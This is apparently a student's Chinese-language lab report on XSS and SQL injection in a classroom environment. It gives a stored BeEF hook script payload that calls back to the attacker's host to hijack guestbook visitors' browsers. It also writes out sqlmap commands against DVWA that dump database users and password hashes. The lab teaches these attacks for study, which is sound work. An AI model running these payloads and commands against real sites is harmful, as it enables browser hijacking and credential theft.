網路滲透測試實驗三——XSS和SQL隱碼攻擊
網路滲透測試實驗三——XSS和SQL隱碼攻擊
實驗目的
瞭解什麼是XSS;瞭解XSS攻擊實施,理解防禦XSS攻擊的方法;瞭解SQL隱碼攻擊的基本原理;掌握PHP指令碼訪問MySQL資料庫的基本方法;掌握程式設計中避免出現SQL隱碼攻擊漏洞的基本方法;掌握網站配置。
系統環境
Kali Linux 2、Windows Server
網路環境
交換網路結構
實驗工具
Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
實驗步驟
XSS部分
利用Beef劫持被攻擊者客戶端瀏覽器。
實驗環境搭建。
角色:留言簿網站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻擊者:Kali(使用beEF生成惡意程式碼,並通過留言方式提交到留言簿網站);
被攻擊者:訪問留言簿網站,瀏覽器被劫持。
1.利用AWVS掃描留言簿網站(安裝見參考文件0.AWVS安裝與使用.docx),發現其存在XSS漏洞,截圖。
使用Windows Server 2003建立留言簿網站,如圖。
用AWVS掃描後其存在的XSS漏洞如下圖。
2 Kali使用beef生成惡意程式碼,截圖。
使用如下程式碼
apt-get install beef-xss
安裝beEF。
安裝成功後進入etc/beef-xss開啟config.yaml修改預設的賬號密碼(不能用預設賬號密碼,直接使用會報錯)。
完成後儲存退出。
輸入以下程式碼
cd /usr/share/beef-xss
./beef
待其載入完成後生成的惡意程式碼如下。
3.訪問 http://留言簿網站/message.asp ;將以下惡意程式碼寫入網站留言板,截圖。
<script src="http://Kali的IP地址:3000/hook.js"></script>
4.管理員登入login.htm,賬號密碼均為admin,稽核使用者留言。只要客戶端訪問這個伺服器的留言板,客戶端瀏覽器就會被劫持,指定被劫持網站為學校主頁,將你在beef中的配置截圖。
kali中開啟如下網址,輸入剛才修改的賬號密碼登入。
beef中配置截圖如下(指定被劫持網站為Baidu)。
5.回答問題:實驗中XSS攻擊屬於哪種型別?
屬於儲存型XSS攻擊
SQL隱碼攻擊部分:DVWA+SQLmap+Mysql注入實戰
實驗環境搭建。啟動Metasploitable2虛擬機器(IP為192.168.134.129)。
1.注入點發現。首先肯定是要判斷是否有注入漏洞。
在輸入框輸入1,返回
ID: 1
First name: admin
Surname: admin
返回正常;
再次輸入1’,報錯,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
此時可以斷定有SQL隱碼攻擊漏洞。
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap進行注入攻擊。將DVWA安全級別設定為最低。
在瀏覽器中按F12找到Storage中的Cookie即可。
security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd
2.列舉當前使用的資料庫名稱和使用者名稱。
你輸入的命令:
sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' -b --current-db --current-user
Sqlmap輸出截圖。
3.列舉資料庫使用者名稱和密碼
你輸入的命令:
sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" --users --password
Sqlmap輸出截圖。
4.列舉資料庫
–dbs:列舉當前資料庫
你輸入的命令:
sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -dbs
Sqlmap輸出截圖。
5.列舉資料庫和指定資料庫的資料表
-D 資料庫名:指定資料庫
–tables:列舉指定資料庫的所有表
你輸入的命令:
sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa --tables
Sqlmap輸出截圖。
(該題及以下題目的截圖原圖丟失,重新做了一遍,所以截圖的IP和cookie的PHPSESSID會有不同)
6.獲取指定資料庫和表中所有列的資訊
-D:指定的資料庫
-T:指定資料庫中的資料表
–columns:獲取列的資訊
你輸入的命令:
sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa -T users --columns
Sqlmap輸出截圖。
7.列舉指定資料表中的所有使用者名稱與密碼,並down到本地。
-C:列舉資料表中的列
–dump:儲存資料表項
你輸入的命令:
sqlmap -u "http://192.168.134.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=5a3416ecee2635f46be8e82bde93e9dd' --string="Surname" -D dvwa -T users -C user,password --dump
Sqlmap輸出截圖。
檢視down到本地的使用者名稱與密碼,截圖。(提示帶.的資料夾為隱藏,在圖形命令下,用檔案瀏覽器開啟資料夾,按下ctrl+h組合鍵可顯示隱藏檔案合資料夾,再按一次取消顯示。)
實驗小結
本次實驗應用:
- 使用Windows Server搭建留言簿網站
- 發現XSS漏洞,BeEF劫持留言簿網站
- SQL命令使用
對我來說,這次實驗相比前面的難度確實要稍高些。長路漫漫,繼續加油吧。
相關文章
- 網路滲透測試實驗三-XSS和SQL隱碼攻擊SQL
- 滲透測試學習之探測和攻擊無線網路三
- 使用C#winform編寫滲透測試工具--SQL隱碼攻擊C#ORMSQL
- 滲透測試網站sql注入攻擊與防護網站SQL
- 如何進行滲透測試XSS跨站攻擊檢測
- XSS與SQL隱碼攻擊SQL
- 滲透測試學習之探測和攻擊無線網路五
- 滲透測試學習之探測和攻擊無線網路六
- 滲透測試學習之探測和攻擊無線網路八
- 滲透測試學習之探測和攻擊無線網路九
- 滲透測試學習之探測和攻擊無線網路十
- 滲透測試學習之探測和攻擊無線網路十一
- 滲透測試學習之探測和攻擊無線網路一
- 滲透測試學習之探測和攻擊無線網路二
- 滲透測試學習之探測和攻擊無線網路四
- 滲透攻防Web篇-深入淺出SQL隱碼攻擊WebSQL
- 在Linux中,如何檢測和防止SQL隱碼攻擊和跨站指令碼(XSS)攻擊?LinuxSQL指令碼
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查SQL
- 亞洲第一小鮮肉的第三次實驗: XSS和SQL隱碼攻擊SQL
- 網路滲透測試實驗(2)之欺騙
- [滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊資料庫SQL
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!SQL
- 軟體安全測試之SQL隱碼攻擊SQL
- SQL隱碼攻擊漏洞測試工具比較SQL
- 張小白的滲透之路(二)——SQL隱碼攻擊漏洞原理詳解SQL
- 網站被攻擊滲透測試出漏洞怎麼辦網站
- 【網路安全入門】SQL隱碼攻擊是什麼?SQL隱碼攻擊危害有哪些?SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊SQL
- 網路安全滲透測試
- 讓你徹底瞭解SQL隱碼攻擊、XSS和CSRFSQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- Kali linux滲透測試系列————28、Kali linux 滲透攻擊之社會工程學攻擊Linux
- 什麼是SQL隱碼攻擊、XSS以及CSRF?【網路安全知識培訓】SQL
- 網路滲透測試實驗二——網路嗅探與身份認證
- 伺服器滲透測試之攻擊漏洞方法伺服器
- 滲透測試模擬黑客攻擊之蒐集資訊黑客
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數SQL變數